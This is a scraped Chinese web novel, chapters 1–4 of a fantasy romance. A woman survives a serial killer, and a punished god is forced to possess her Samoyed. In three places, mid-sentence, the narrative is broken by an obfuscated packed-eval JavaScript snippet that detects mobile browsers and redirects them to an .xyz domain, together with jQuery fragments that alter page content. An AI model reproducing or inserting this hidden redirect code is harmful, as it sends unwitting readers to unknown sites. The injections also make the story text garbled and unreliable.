《萨摩耶的双重狗格》 1. 第 1 章 晚上十一点四十八分,路边里亮着几盏昏黄的灯,冷风猎猎,宁咚青拎着热气腾腾的烧烤,走进狭窄的小巷。 这里是老城区,墙壁斑驳,灯光昏暗,一条条逼仄老旧的小巷交错在这片落后的土地上。 白天还好,家家户户门窗大开,小饭馆、茶水摊坐满了人,倒是一片热闹光景,可一到晚上,这里便是寂静得如同墓场一般,猎猎风声一吹,恐怖片的内容总往人脑子钻。 宁咚青紧了紧捏塑料袋的手,加快了步伐。 最近南城的连环杀人案闹得沸沸扬扬,搞得人心惶惶,老城区这一片本就不如市中心那般灯火辉煌,这段时间更是一片死寂。 “咔嚓——” 树枝被踩断的声音在宁咚青背后响起,寂静将恐惧放大了数倍,宁咚青猛地回头,瞬间掏出了放在包里的合法防身武器和防狼喷雾,警惕地扫视着周围。 她绷紧了脊背,心脏被提到了嗓子眼。 “喵?” 一只狸花猫从阴影里钻出来,绿色的眼睛瞄了宁咚青手里的棍子一眼,立马飞似的蹿出十几米。 原来是猫。 被提到嗓子眼的心脏重重地落回胸腔,她松了一口气。 自己吓自己。 该死的无良老板,非得让她加班,害得她没赶上最后一班地铁,只能打了滴滴回来,花了她一百多块钱。 已是深夜,小吃店大多都关门了,宁咚青就在路边买了点烧烤,这一等,又过去了二三十分钟。 这鬼地方,晚上是真吓人,等发工资了,她打算重新找个住处。 宁咚青这样想着,捏紧了手里的东西,快步往巷子里走。 - “不要!求求你——” “你放我走吧,不要杀我!” “求求你——” 一阵冷风迎面袭来,吹的她头发都乱了,风中似乎还夹杂着什么声音,宁咚青皱了皱眉,听不真切。 或许是听错了吧。 宁咚青将挡住视线的头发拨开,拢了拢衣服,继续往前走。 “救命!” 一声尖叫刺破了这个寂静的夜晚,宁咚青猛地停住了脚步,心跳漏了一拍后在胸腔中跳得激烈,风声鹤唳,她却能听到自己的心跳声。 “救救——唔!” 宁咚青后背的衣服快要被冷汗浸湿,这风一吹,令她打了一个寒颤。 她从包里拿出手机,迅速报了警,求救声消失了,不远处却传来了脚步声。 咚、咚、咚。 好似棒槌一下一下敲击着鼓面,像宣告死亡的倒计时。 宁咚青全身汗毛都竖了起来,在那一刻,全身血液似乎都凝固了,她脑海中只有一个念头:跑! 宁咚青捏紧了烧烤袋子,强行迈开发软的腿脚,大概跑了一百来米,前面是个路口,她一拐弯,和一个蒙着面的人撞了个正着。 他手上拿着一把滴着血的刀,另一只手里拖着一个女人,昏暗的灯光下勉强能看出地上有一条长长的血迹。 宁咚青脑子有一瞬间的空白,下一秒,她立刻转身往回跑,只要……只要在凶手追上她之前跑到有人的地方,只要……只要跑出去。 她大脑一片空白,只知道跑,不停地跑。 “噌——” 一把刀擦着她的脸颊飞过,刀上的血液飞溅到她的太阳穴上,又顺着皮肤往下滑,没入了衬衫领。 她没有回头看,也不敢回头看。 只是一个劲地埋头往前冲,嘴里大喊着救命。 这如墓场般寂静的老城区,此刻似乎成了真墓场,无边的黑暗中不知要埋葬几条生命。 警察马上就来了,马上……马上就能看到…… 有人! 宁咚青敏锐地捕捉到了前方拐角处有一片没入黑暗的在空中翻飞的风衣衣角。 她像不幸落水的旱鸭子,在濒临死亡之际看到救命的稻草,拼命扑腾,只为抓住这唯一的希望。 “救救我!有人要杀我!” 宁咚青大声喊着,她几乎卯足了全身的劲儿,追逐着那抹翻飞的衣角。 “咚!” 在拐弯的一瞬间,她撞到了一堵墙。 不对,不是墙,是一个人的胸膛。 宁咚青瞬间抓住了这个人的手臂,向他求救:“有人要杀我,有人要杀我,救救我!” 宁咚青感觉那人似乎想甩开她,她立刻换了个姿势,两只手死死地箍住他的腰。 那人有一瞬间的愣怔,随后宁咚青听到头顶上方传来一声轻笑。 “就这么先入为主地认为我是好人了?” 宁咚青没有说话。 那人带着一丝嘲讽的笑意,轻飘飘地说道:“如果我说我是他的同伙呢?” 宁咚青呼吸一窒。 “嗯?我也是坏人的话,你怎么办?” 那人说话慢悠悠的,说出来的话却浇了人一个透心凉。 宁咚青握紧了拳头,绝望地闭上眼睛。 刚出虎口又入狼窝,还能怎么办啊,那就死呗,反正她也跑不动了,来吧,刀子往她背后捅,她一睁一闭也就去了。 “噌——” 是匕首出鞘的声音。 宁咚青:? 不是,您来真的啊? 宁咚青霎时松了手臂,正要快步往后退,余光瞥见了蒙面人拿着刀朝她刺来! 说时迟那时快! 宁咚青不知那里来的力气,她拽了身边的男人一把,将他拉了个酿跄,闪身躲开了直冲她来的一刀。 蒙面人见状,急急改变了方向,刀口朝着穿风衣的男人刺去! “找死?” 在他碰到自己之前,向柯一脚将他踹了出去。 飞得挺远。 向柯观摩了一下那人的惨状,一回头,发现那个抱着他不撒手的胆大包天的女人消失了。 向柯:……? 他朝飞到远处的人打了个响指,随后消失在了风里。 - 在凶手改变目标的时候,宁咚青就已经跑了。 大概跑出百来米,她听到了警车的声音。 跑出七弯八绕的巷子,看到警车的那一瞬间,宁咚青腿一软,一下子跌坐在了地上。 …… 做好笔录,被警察送到家门口的时候已是凌晨,宁咚青将钥匙插入孔中,拉开门后,宁国庆竟然没有在玄关等着她。 哦,宁国庆是她养的一只萨摩耶,三年前的国庆节来到家里的,就取名为国庆了,随她姓。 客厅里的灯还是亮着的。 或许是今天遭受的心理创伤过大,留下了后遗症,宁咚青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755398|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间绷直了脊背。 她屏住呼吸,先是回头看了一眼还没走的警察,随后手扶着墙壁静步往里走。 “看看星光看月亮,看看我的心……”[1] 宁咚青走到客厅,发现宁国庆趴在沙发上看《喜羊羊与灰太狼之兔年顶呱呱》。 听到宁咚青的脚步声,它转过头来和她对视了几秒,宁咚青发现宁国庆圆溜溜的大眼睛里还含着泪花。 哦莫。 “你自己开的电视和灯吗?”宁咚青难以置信地走过去揉了一把宁国庆的狗头,“居然还是点播?” 宁国庆抬起一只爪子将她放在它头上的手扒拉下去,身子往旁边挪了挪,不悦地甩了一下头,意思是别打扰它看电视。 宁咚青有点搞不懂状况,事实上她刚死里逃生,此刻还有些惊魂未定,没想到一回家,家里的傻白甜也不让亲近了。 或许是因为身上的血腥味? 宁咚青这样想着,她起身向门口的警察道了谢,送走警察后快速地冲了个澡,洗净了一身的疲惫。 热水似乎有安抚人心的功效,至少从浴室出来后,宁咚青一直砰砰乱跳的心脏平复了许多。 她吹干头发后,裹着浴袍躺到沙发上,伸出一只手将宁国庆捞到怀里:“我跟你说,宁国庆,今天你妈我……” 宁咚青话才起了个头,被她揽在怀里的宁国庆便挣脱了她的束缚,优雅地跳下沙发,坐在了地毯上,甩了甩它高贵的尾巴。 那鄙夷的眼神好像在说:女人,你是什么档次,还想碰我? 宁咚青一头雾水,她香香软软、热爱贴贴的快乐小狗哪去了? 眼前这个满脸谁欠它百八十万的冷漠的狗是哪里来的? “不管你是谁,我命令你现在立刻马上从宁国庆身上下来!” 宁咚青伸出食指,本着逗它的心思轻轻地点了一下宁国庆的额头。 不知道是不是她的错觉,在她说出这句话的一瞬间,她在一只狗的眼睛里看到了一闪而过的慌乱。 “呜呜呜,怎么回事啊。”宁咚青话语里不禁沾染上了她自己都没察觉到的哭腔,“你不要这样,你别吓我……” 今天所有的委屈和惊吓此刻都涌了上来,她双手捂住了脸颊,有滚烫的泪水从指尖渗出,宁咚青的肩膀一直在颤抖,有些泣不成声。 哭着哭着,她感觉到宁国庆似乎蹭了蹭她的手,宁咚青将捂着眼睛的手移开了一条缝,宁国庆抬起了它的前爪重重地拍拍她的肩。 “你要拉着我去桃园结义吗?”宁咚青扑哧一下笑出来了,她一把将宁国庆紧紧抱在怀中,一下一下地给它顺毛,“真乖,来,亲一口!” 宁咚青说着就要凑过去亲它,宁国庆抬起爪子一把将她呼开了。 它又露出那种嫌弃的眼神了。 宁咚青:!!! 她二话不说,一把将萨摩耶薅了过来,捧着它的脸报复性亲了好几口,边亲边将脸埋在它柔软的毛里蹭了又蹭。 最后放开它的时候,宁国庆已经石化在原地了。 宁咚青觉得太好玩了,怎么这么可爱啊! 她忍不住又贴着它亲了两口。 …… 结束后,宁国庆抬起爪子给了自己一巴掌,然后顶着一身乱糟糟的毛,耷拉着耳朵走到角落里“轰”地趴下,眼里无光。 2. 第 2 章 “什么?!昨天晚上你变成狗了?!” 中式园林内,阳光透过窗棂,零碎地洒在一方矮桌上。 有两个人相对而坐,其中一人执起茶壶,慢条斯理地倒了杯热茶,茶雾氤氲,他将青花瓷杯送到唇边,轻抿了一口。 “什么叫我变成狗了?”向柯将茶杯搁在桌面上,纠正道,“是我附身到了一只狗身上,附身!” “好好好,附身附身。” 坐在他对面那人一身红衣,苹果脸大眼睛,头上戴着一顶虎头帽。 他道:“所以你为什么要附身到狗身上?” “我怎么知道,我当时消除了那个人对我的记忆之后就离开那里了。”向柯蹙着眉,“结果眼前一黑,就在一只狗身上了,最奇怪的是我还离不开那只狗的身体,不知道是不是和我的法力消失有关。” “什么?!你的法力还消失了?!” 钟运喜一下从木凳上跳了起来,头上的虎头帽被他颠飞了。 钟运喜朝落在地上的虎头帽勾了勾手指,帽子便自己飞过来重新套在他头上。 “你到底干了什么啊?”钟运喜扶正了虎头帽,随后双手撑着桌子,身子向前探,他盯着向柯的眼睛,“你不会救了那个女人吧?所以被天道惩罚了?” 向柯伸出食指点在他的额头上,将他推了回去:“我没救她,我只是踹了那个杀人犯一脚,等我回头的时候,那个女人早跑没影了。” 钟运喜双手环胸,做思考状:“我知道了。” 向柯打了个哈欠:“你又知道了。” 钟运喜:“你什么语气,我可是考神,很聪明的。” 向柯:“那你说说?” 钟运喜:“你想啊,百因必有果,或许正是因为你踹的那一脚,让那个女人有了逃跑的时间,所以天道就判定你干预了她的生死。” “有道理。”向柯屈着指节轻轻敲击着矮桌,“我不是直接救了她,所以神罚没那么严重。” 钟运喜不同意他的说法:“都被剥了法力,还强制附身在一只狗身上,这神罚还不严重?” 向柯:“至少没把我挫骨扬灰吧。” “哦,也是。”钟运喜后怕地搓了搓手臂,“我跟你说,你真得小心,你知道前任考神怎么没的吗?” 向柯挑了挑眉,示意他继续说。 钟运喜鬼鬼祟祟地凑到他身边,小声道:“听说有考生声泪俱下地向祂求情,这不,心一软,帮了人家一把,结果自己被打入十八层地狱了。” 向柯不解:“你们考神不就是广施福泽的吗?怎么还被罚了?” “非也非也。”钟运喜摆摆手,“乐善好施也得有个度啊,我们有规定的。” “这样。”向柯了然,“前几年我在下面见过祂。” “哦莫。”钟运喜翘起兰花指掩住了自己的嘴唇,“祂还好吗?” 向柯摇头:“不太好,毕竟那里关的都是十恶不赦的恶鬼,估计吸了祂不少精气。” 钟运喜叹了口气:“造孽啊。” 这个世界就是这样,万物皆有法则,不同的神也有各自不能触碰的禁忌。 钟运喜又道:“既然天道没将你一棒子打死,说明这件事是可以挽回的,你有什么头绪吗?” 向柯摇摇头:“暂时没有。” “没有法力你怎么工作?”钟运喜剥了瓣橘子塞进自己嘴里,含糊道,“要不我们去问问山神奶奶?祂老人家活了那么久,肯定见多识广。” 向柯饮尽最后一口茶,随后起身:“走。” - “咚咚咚——” 天蒙蒙亮,一阵撞击声就传入了宁咚青的耳朵,她一个猛子从床上坐起,额头上满是细密的汗珠。 宁咚青坐在床上平复了一会砰砰乱跳的心脏,这才掀开被捂得热乎的棉被,去找不知道被踢到哪个角落的拖鞋。 “咚咚咚——” 沉闷的撞门声一下比一下着急,宁咚青踩着拖鞋,蓬头垢面地拉开了卧室门,被一团雪白撞了个满怀。 宁咚青被宁国庆撞得往后退了一步才堪堪稳住身体。 宁国庆一进门之后就围着宁咚青转圈圈,时不时还用毛茸茸的脑袋蹭蹭她,总之就是非常粘人。 和昨晚那个焊死在地板砖上,死活不肯进房间和宁咚青一起睡的宁国庆判若两狗。 宁咚青蹲下身,笑着把它搂在怀里,说笑道:“怎么啦,昨晚的冷漠小狗被你赶跑了?我还以为你有双重狗格呢。” 宁国庆听不懂,睁着一双清澈水灵的大眼睛委屈地看着她,似乎在控诉昨晚为什么要把它关在门外。 被这双无辜的大眼睛一盯,宁咚青心里软的一塌糊涂,她快速洗漱好后给宁国庆套上牵引绳准备出门。 今天周末,正好放松一下。 - “欸,听说了吗?昨晚我们这出凶杀案了!可吓人,那血啊流了一地。” “听说死了个姑娘,年纪轻轻的,造孽啊!” “哎哟,昨儿个我听到巷子里有人大喊大叫,叫救命呐,吓得我一晚上没睡好。” “怎么没见到尸体啊?” “被警察处理了吧。” “这都死了第五个了吧,怎么还没找到凶手啊?” …… 宁咚青买了豆浆油条,坐在路边的长椅上吃着,宁国庆被她圈在腿中间。 旁边早点摊的人们围了一圈,激烈地讨论着昨晚的事,他们的话一字不落地落入了宁咚青的耳中。 有对老夫妻还特意走过来提醒她要这段时间要小心,晚上尽量别一个人出门。 宁咚青笑着应了声好。 “确实是得小心。” 一道高瘦的影子忽地覆盖住了洒在宁咚青身上的阳光,来人嗓音清润,透着些许寒气。 宁咚青猛地回头,对上一双浅色的眼睛。 这人应该是戴了两只不一样的美瞳,他的左眼是银灰色,右眼则呈灰蓝,是很漂亮的瞳色。 宁咚青礼貌地笑了两声:“谢谢,你也是。” 向柯弯了弯唇角,在长椅的另一端坐下,征得宁咚青的同意后摸了摸萨摩耶的狗头,自言自语道:“真的只是一只狗啊。” 他声音不大,但宁咚青却听得一清二楚,她默默打量了一番这个莫名其妙的人。 此人身材比例极好,腿长皮肤白,一身中式西装显得他气质甚是清雅,这种穿着打扮,不像是生活在老城区的人。 宁咚青脑海里莫名浮现出了凶手重返案发现场的说法,但细看又觉得不太像。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755399|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她的视线太过赤/裸,向柯似有所感地抬眸,两人的视线交汇,宁咚青不着痕迹地将宁国庆往自己身边拉了一段距离。 向柯勾了下唇角:“您这是不记得我了?” 宁咚青没说话,手上的牵引绳被她不自觉地绕紧了几圈,她的眼睫毛很长,紧张的时候又习惯快速眨眼,在旁人看来总觉得她楚楚可怜。 不过向柯却不这么认为,他总觉得要是把这人剖开,里面一定是黑的。 他放轻声音:“昨晚我们不是见过面吗?” 宁咚青的瞳孔忽地放大,她试探道:“好人?” 滴——好人卡,点头yes摇头no 向柯笑了下,垂眸摸摸一直扬着脑袋看他的萨摩耶:“不算。” 宁咚青倒是放心下来,她半靠在长椅上:“昨天谢谢你。” “嗯。” 向柯漫不经心地应了一声,弯下腰一会揉揉宁国庆的耳朵,一会和它握握手,一会又捏捏它的脸。 “怎么看都是只普通小狗啊。” 宁咚青:“……” 有点不礼貌了大兄弟,你还评价上了。 向柯和宁咚青其实不在一个频道上。 向柯蹙着眉,按山神的说法,天道下的惩罚或多或少是和本人有一定联系的,就比如钟运喜说的前任考神,之所以被关在十八层地狱是因为祂最害怕的恶鬼也被关在那里。 问题就在这里,向柯不觉得自己和眼前的女人有什么关系,和这只萨摩耶就更没关系了,所以为什么他会被强制附身在这只狗的身上? 山神说,不是直接陨灭的惩罚都是可逆的,只要向柯找到这个联系,破解它,惩罚也就不存在了。 打个比方,如果前任考神在十八层杀了恶鬼,祂身上的惩罚自然就消失了,不过已有新任考神,祂回不回来都是个无业游民。 对于神来说,没有工作就赚不到香火,赚不到香火就续不了命,续不了命就只能等着自己一点点消散于天地间,直到意识全无,回归自然。 说简单点就是不工作就会死! 向柯目前还没有死的打算,所以在天道找到新任鬼神之前,他必须恢复法力,重新上任,去工作,去拼搏,去奋斗! 为了能看到明天的太阳,他不能不工作啊! 但就目前这个情况来看,他是真的毫无头绪,并为此焦头烂额。 他想不通,他到底和一只没有法力、会生老病死的普通小狗有什么关系? …… “你好?你好!这位先生?你能听见我说话吗?” 喊了半天,见他没反应,宁咚青只好上手拍了一下他的肩。 “嗯?” 向柯将思绪拉回,不解地望向她。 宁咚青看着他道:“我要走了。” 向柯点了点头,心想这人怪有礼貌的,还知道道别。 结果等了半天,一人一狗一动不动,就这么静静地看着他。 向柯不明所以:“还有什么事吗?” 宁咚青伸出手指了指下面,向柯的视线顺着她指的方向往下移,看到了自己手里紧紧握着的一条狗腿。 向柯沉默了几秒,放开了宁国庆的爪子,末了,还拍拍它的毛茸脑袋。 “……抱歉。” 3. 第 3 章 墙壁斑驳的地下室内,只亮着一个昏黄的灯泡。 男人拿着蜡烛照着桌上宁咚青的照片,他眼神凶狠,手握成了拳,指甲都陷进肉里,渗出血珠来。 他伸出猩红的舌尖舔掉了手上细密的血珠,血腥味在口腔里蔓延,他抽出插在刀鞘里的刀,发了狠刺向桌上的照片,照片上的人清丽好看的脸被刀尖刺破,订在了破旧的木桌上。 …… “南城连环杀人案揭秘!” “惊!近日南城杀人案竟是……” 溜完狗回到家里,宁咚青简单炒了几个菜,还特意给宁国庆加了几个它最爱吃的冻干,一人一狗吃饱喝足后窝在沙发上养膘。 宁咚青查了很多关于南城杀人案的新闻,但大多数都是标题党,没有什么有营养的内容,目前唯一的线索就是凶手已经连续杀了五个人,其中四个都是年轻人,有男有女,剩下一个是老人。 死者之间都毫无关系,也看不出什么来。 宁咚青觉得这人就是心理变态,出来报复社会的。 凶手有极大可能会再来找她,警察虽派了人在暗中保护,但百密也难免会有一疏,宁咚青顺着宁国庆身上的毛,叹了口气,要是有人能二十四小时待在她身边就好了。 但雇保镖得需要不少钱吧,她也没那财力。 “国庆啊,你说这世上有没有神仙啊,要不我们去庙里求个平安符?” 宁咚青想了想,觉得这招可行,毕竟玄学的事谁也说不准,万一这平安符真保平安呢? 她立刻在一款图文APP上搜索南城最灵的寺庙,一个鲤鱼打挺从沙发上起来,换好衣服和鞋后,牵着宁国庆再次出了门。 这寺庙离老城区不算远,宁咚青很幸运地打到了可以带狗的出租车,出租车师傅人很好,也健谈,两人一路唠到了山脚下。 “这里的庙可灵了。”宁咚青下车的时候,她听到司机师傅说,“前些年我们村出了个大学生,听说他就是来这庙里求的,高考的时候选择题全猜对了,你说说这运气。” 考神附体啊。 但是…… “这不是山神庙吗?怎么在这里求考运呀?” 宁咚青不解道。 司机“嗐”了一声:“谁知道呢,说不定当时考神来这串门正好听见了呢?” 宁咚青似懂非懂地点点头,再次看向山神庙,莫名觉得里面或许真住着几位神仙。 她牵着宁国庆往山上走,这里的山路修葺得很好,青石板做的台阶一级级往上,直通庙里。 这里的庙是允许宠物进入的,上山的人和下山的人都不少,也有人牵着猫猫狗狗,但却很安静,耳边多是沙沙的脚步声,偶尔闻人语。 穿过一片茂密竹林,山神庙的便出现在眼前。 这里烟雾缭绕,香火兴旺。 宁咚青虔诚地上了香,正要去祈福古树上挂祈福带时,却看见了一抹熟悉的身影。 这才半天,向柯又换了一身衣服,整体颜色素雅,西服外套一侧绣着简约的刺绣,他戴了一副金丝眼镜,坐在石凳上与一位老奶奶下着棋。 就像有心灵感应一般,向柯忽然抬眸,视线隔着茫茫人海交汇。 两人皆是一怔。 明明才见过一面,宁国庆却好像很喜欢他,宁咚青还没有反应过来,就被拉着往那个方向走去。 见她过来,向柯有些惊讶:“又见面了。” 宁咚青微微颔首。 “既是故人,不妨坐下叙叙旧?” 坐在一旁的老人忽然出声,宁咚青看向她,不知为何,就这一眼,便有洗涤心灵之感,一切浮躁都荡然无存。 向柯指了指石凳:“坐。” 宁咚青不太擅长拒绝人,只好应下。 “来求什么?” 向柯将黑子落于棋盘上,端起茶杯抿了一口。 好半天没听到回答,他疑惑地看了她一眼:“嗯?” 宁咚青这才反应过来他是在同自己讲话,她攥紧了手上的祈福带,轻声道:“平安。” 向柯似乎是笑了一声,却什么也没说。 倒是坐在旁边的老人将自己的手覆在了她捏着祈福带的手上,缓缓道:“心诚,则灵。” …… 宁咚青坐上出租车才发现口袋里被人塞了一个平安符。 她将平安符挂在了宁国庆的脖子上,揉了揉它的脑袋:“我的小狗也要平平安安呀。” 车子驶入老城区已是黄昏,宁咚青牵着萨摩耶走进小巷的时候它明显没有去的时候那么活泼了,只是沉默地跟着她往前走。 “累了?”宁咚青笑着捏捏它的脸,“妈妈回去给你做好吃的!” 宁咚青回到家的第一件事就是忙活宁国庆的晚餐,她先将三文鱼解冻,放到蒸锅里蒸好,然后摆在了狗盆里,接着她拆了新鲜的鸡鸭胸肉摆上,又将牛嫩肩肉切成小块堆在鸡鸭肉旁边,最后煮了一点西兰花和豌豆尖做点缀,撒上了猪里脊和树莓冻干。 多么丰盛的晚餐! 宁咚青将狗盆端到正在客厅里看电视剧的萨摩耶前面,眉眼弯弯地笑道:“尽情享用吧~” 她揉了一把宁国庆的脑袋,转身往厨房去了。 就在这时,宁国庆盯着狗盆吐了吐舌头。 宁咚青煮了碗饺子,又榨了一大杯果汁,忙活完,端着吃的走到客厅,准备和宁国庆边看边吃。 结果她在地毯上坐下来后才发现宁国庆狗盆里的东西一点没动,宁咚青奇怪道:“不想吃吗?” 平心而论,这一盆菜是真的很有食欲,宁咚青真的把小狗养得很好,只是……这些肉都是生的,向柯在萨摩耶的身体里叹了口气,他实在下不了嘴。 宁咚青看到宁国庆上下晃了两下脑袋。 “哦莫,我的天。”宁咚青将筷子搁在瓷碗上,捧起它胖胖的脸,“你刚刚是在点头吗?你能听懂我说话?” 宁国庆似乎呆滞了两秒,随后迟疑地左右甩了两下。 意思是它听不懂。 掩耳盗铃的小狗,啊啊啊啊啊,好可爱,好想“欺负”它! 宁咚青将脸贴在它头顶蹭了蹭:“那就不吃这个了,你想吃什么呀,我重新给你做。” 宁国庆眼睛都亮了,它抬起一只爪子拍了拍茶几,宁咚青看过去,发现它爪子旁边是她的饺子碗。 宁咚青眨了眨眼睛:“你要吃饺子?” 宁国庆摇着尾巴在地上转了一圈,期待地看着她,一双水灵的大眼睛亮亮的。 宁咚青亲了它一口:“真可爱。” 她将剩下的饺子全下到锅里,给宁国庆盛上了满满一碗。 宁咚青包饺子的时候,特意包了好几种馅,宁国庆每吃到一种新的馅,耳朵就会立起来,宁咚青瞧它那样,笑得前仰后合。 她抱着宁国庆煤气罐一样的的身子左摇右晃:“已经怎么没发现你爱吃饺子?以后我经常给你包好不好?” 怀里的萨摩耶原地石化了好半天,才点了两下脑袋,然后慢吞吞地吃着碗里剩下的饺子。 “咚咚咚——” 一阵急促的敲门声忽然响起,宁咚青放开抱着宁国庆的手,踩着拖鞋走到玄关处,问道:“谁啊?” 没有人回答她,门外的人只是沉默地敲着门。 宁咚青警觉地拿出手机点开拨号键盘输入了110,悄悄地走到门口,扒着猫眼往外看。 她看到了一只眼睛! 宁咚青心里大骇,急忙往后退了两步,小腿撞到跟在她身后的宁国庆打了个酿跄,手机掉在地板上发出“咚”地一声。 她立马捡起来报了警,然后壮起胆子再次去看猫眼,门外的人已经不见了。 宁国庆撞了一下她的小腿,宁咚青心里绷紧的弦稍稍松了些,她搬来检查了好几遍小锁有没有上好,然后靠着门坐下来。 宁国庆安静地坐在她身边,一动不动,宁咚青还以为它被吓到了,将它搂在怀里轻声安慰:“别怕,警察马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755400|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来了啊。” 宁国庆摇了摇尾巴,松弛地趴在地上,意思是它不怕。 宁咚青摸摸它的头:“真乖。” …… 警察来的很快,但那人已经不知踪影。 他们调了监控,这人始终蒙着面,手里拿着行李箱,进了小区之后轻车熟路地上了电梯,敲响了宁咚青家的门。 “他拿着行李箱不会是想杀了我之后把我装进去吧。” 宁咚青看着监控画面,脸上没什么表情。 警察有些惊讶她居然能这么淡定地说出这番话,默了默,道:“你放心,我们一定会全力保护你的人身安全,尽早抓到他。” “嗯,谢谢。”宁咚青看向他们,“这么晚了辛苦你们了。” …… 宁咚青回到家的时候周身都是低气压,宁国庆似乎察觉到了,一直跟在她脚边,寸步不离。 “放心,我没事。” 宁咚青在它面前蹲下,询问道:“你今晚和我一起睡吗?” 宁国庆条件反射地往后跳了一步。 “啊,你变了。”宁咚青双手环胸,“你以前都和我一起睡的。” 宁国庆扭过头,不再和她对视。 不知为何,宁咚青从它身上看出了心虚、害羞、宁死不屈等等多种复杂情绪的交织。 或许是她太累了。 “那我去睡觉咯?”宁咚青站起身,拍拍它的脑门,“我不锁门,你晚上要是想和我一起睡直接用头撞开就行。” 然而真躺到了床上却是困意全无。 要说不怕是不可能的,她现在一闭上眼睛脑海里浮现出的就是从猫眼里看到的那只眼睛,凶狠又变态。 宁咚青翻来覆去睡不着,最后从床上坐起来,翻出通讯录,指尖在爸妈的号码上停留了几秒,然后又黑了屏。 她怕听到家人声音的时候忍不住流泪。 现在最重要的是换个住处。 之前她想着等工资发了再找,现在看来恐怕是等不到了。 住在这里,她心里不踏实。 宁咚青将枕头竖起来,半靠在床头,在网上找起了房子。 这一翻就是一两个小时,还没什么收获。 要么就是太贵,她租不起,要么就是环境太烂,还不如现在租的这屋。 她叹了口气,正要熄屏,准备关灯睡觉,卧室门吱呀一声被推开了。 宁咚青朝门口望去,被推开的门缝里探出一个毛茸茸的脑袋。 宁咚青拍拍身边空出的位置:“过来。” 宁国庆没有动,而是就地趴在了门边,隔了几分钟,它似乎是觉得冷,又往里挪了挪,把门关上,就这样睡在门口。 宁咚青明白它是见她久久不熄灯,以为她害怕特意来给自己当门神的,心里霎时软得一塌糊涂。 她想把它抱到床上睡,结果宁国庆怎么都不肯,没办法,只好在门口给它垫了厚厚的毯子。 …… 这一晚,宁咚青睡得很好,第二天她是被宁国庆蹭醒的。 宁咚青眼睛都没睁,伸出手臂将它搂在怀里,声音还带着浓浓的睡意:“怎么早上又肯上床了?” 宁国庆不可能开始说话,自是不会回答她,它玩够了,趴在她身边合上眼。 宁咚青睡了个回笼觉,起床后煮了一大堆饺子,结果宁国庆又不吃了,反倒将它昨晚一口没动的肉和冻干吃了个精光。 宁咚青觉得奇怪,她简直怀疑最近宁国庆是不是分裂出了第二狗格,当这个狗格出来的时候,它就会拥有人的思维。 宁咚青被自己的想法震惊了,于是打算求助一下无所不知的网友们,堪堪有没有人遇到过类似的情况。 她拿出手机,在某软件上发了一条帖子。 “家里的萨摩耶一到晚上就有变成人的征兆怎么办?” 很快就有人回复了。 Xk:你这种治好了也是流口水。 宁咚青:…… 4. 第 4 章 第一缕晨光从云间倾泻而下的时候,向柯离开了宁咚青的小公寓,步行回到了园林。 他推开门,径直走到园中一棵玉兰树下,从旁边拉了一把竹椅坐下。 不能再这样了。 这才附身了两次,就被那个女人抱着亲了个遍,再拖下去谁知道会发生什么事。 “想什么呢你?” 钟运喜一进门就看见这人坐在椅子上发呆,他将手中的樱桃酒放到雕花木桌上,凭空变了两个高脚杯出来,操控着酒瓶将酒杯倒满。 钟运喜将其中一杯推到向柯面前:“尝尝。” 向柯将酒杯拿起来晃了晃,杯中的液体随着他的动作形成了一个小漩涡。 “你觉得我和……嗯,一只狗之间会有什么关系?” 钟运喜耸耸肩:“我怎么知道。” 向柯叹了口气,抿了一口樱桃酒,特别的味道在唇齿间散开,他朝钟运喜举了下杯:“酒不错。” “这是小果子精们新酿的。”钟运喜不知从哪变出一袋瓜子来,坐在那=一边津津有味的磕着,“回来的时候路过酒庄顺带买了一瓶,你喜欢的话改天给你带几瓶过来?” “行。”向柯将杯中的樱桃酒一饮而尽,“多谢。” 钟运喜想起什么,问道:“对了,你昨晚上又当狗去了?” “……” 向柯将酒杯搁到桌上:“注意言辞。” 钟运喜笑了下,看来是了,他揶揄道:“什么感觉?” “没什么感觉。” 向柯一点都不想回忆昨晚的情景,他觉得那个女人对自己的狗有点太热情了,他有些招架不住,不过…… “晚饭不错。” 她包的饺子特别好吃。 钟运喜给他出主意:“你要不去网上搜搜?我看网上经常把人称作什么小奶狗小狼狗的。” 从来不上网的向·老干部·柯表示不理解:“好端端的人为什么要当狗?” 偶尔上网但一知半解的钟·不懂装懂·运喜笃定道:“因为爱情。” 向柯:“?” 他有些懵:“这两者之间有什么关系吗?” “怎么没关系?”钟运喜敲敲桌子,“爱能跨越物种啊!” 向柯扯了扯嘴角:“这么……伟大……吗?” “那当然。”钟运喜摆摆手,“网上什么人都有,你去搜搜,说不定能给你提供点思路呢。” 向柯将信将疑地拿出了一个翻盖小灵通,问道:“怎么看你说的什么奶狼狗?” 